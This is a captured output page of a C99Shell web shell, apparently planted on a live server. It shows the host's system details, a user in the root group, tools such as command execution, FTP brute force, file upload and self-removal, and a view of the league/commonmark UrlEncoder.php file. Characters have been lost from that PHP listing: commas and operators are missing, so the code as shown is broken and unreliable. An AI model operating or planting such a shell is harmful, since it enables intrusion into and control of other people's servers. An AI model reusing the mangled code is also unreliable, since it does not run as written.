!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/league/commonmark/src/Util/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UrlEncoder.php (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * This file is part of the league/commonmark package.
 *
 * (c) Colin O'Dell <colinodell@gmail.com>
 *
 * Original code based on the CommonMark JS reference parser (https://bitly.com/commonmark-js)
 *  - (c) John MacFarlane
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace League\CommonMark\Util;

use 
League\CommonMark\Exception\UnexpectedEncodingException;

/**
 * @psalm-immutable
 */
final class UrlEncoder
{
    private const 
ENCODE_CACHE = ['%00''%01''%02''%03''%04''%05''%06''%07''%08''%09''%0A''%0B''%0C''%0D''%0E''%0F''%10''%11''%12''%13''%14''%15''%16''%17''%18''%19''%1A''%1B''%1C''%1D''%1E''%1F''%20''!''%22''#''$''%25''&'"'"'('')''*''+'',''-''.''/''0''1''2''3''4''5''6''7''8''9'':'';''%3C''=''%3E''?''@''A''B''C''D''E''F''G''H''I''J''K''L''M''N''O''P''Q''R''S''T''U''V''W''X''Y''Z''%5B''%5C''%5D''%5E''_''%60''a''b''c''d''e''f''g''h''i''j''k''l''m''n''o''p''q''r''s''t''u''v''w''x''y''z''%7B''%7C''%7D''~''%7F'];

    
/**
     * @throws UnexpectedEncodingException if a non-UTF-8-compatible encoding is used
     *
     * @psalm-pure
     */
    
public static function unescapeAndEncode(string $uri): string
    
{
        
// Optimization: if the URL only includes characters we know will be kept as-is, then just return the URL as-is.
        
if (\preg_match('/^[A-Za-z0-9~!@#$&*()\-_=+;:,.\/?]+$/'$uri)) {
            return 
$uri;
        }

        if (! 
\mb_check_encoding($uri'UTF-8')) {
            throw new 
UnexpectedEncodingException('Unexpected encoding - UTF-8 or ASCII was expected');
        }

        
$result '';

        
$chars \mb_str_split($uri1'UTF-8');

        
$l \count($chars);
        for (
$i 0$i $l$i++) {
            
$code $chars[$i];
            if (
$code === '%' && $i $l) {
                if (
\preg_match('/^[0-9a-f]{2}$/i'$chars[$i 1] . $chars[$i 2]) === 1) {
                    
$result .= '%' $chars[$i 1] . $chars[$i 2];
                    
$i      += 2;
                    continue;
                }
            }

            if (
\ord($code) < 128) {
                
$result .= self::ENCODE_CACHE[\ord($code)];
                continue;
            }

            
$result .= \rawurlencode($code);
        }

        return 
$result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--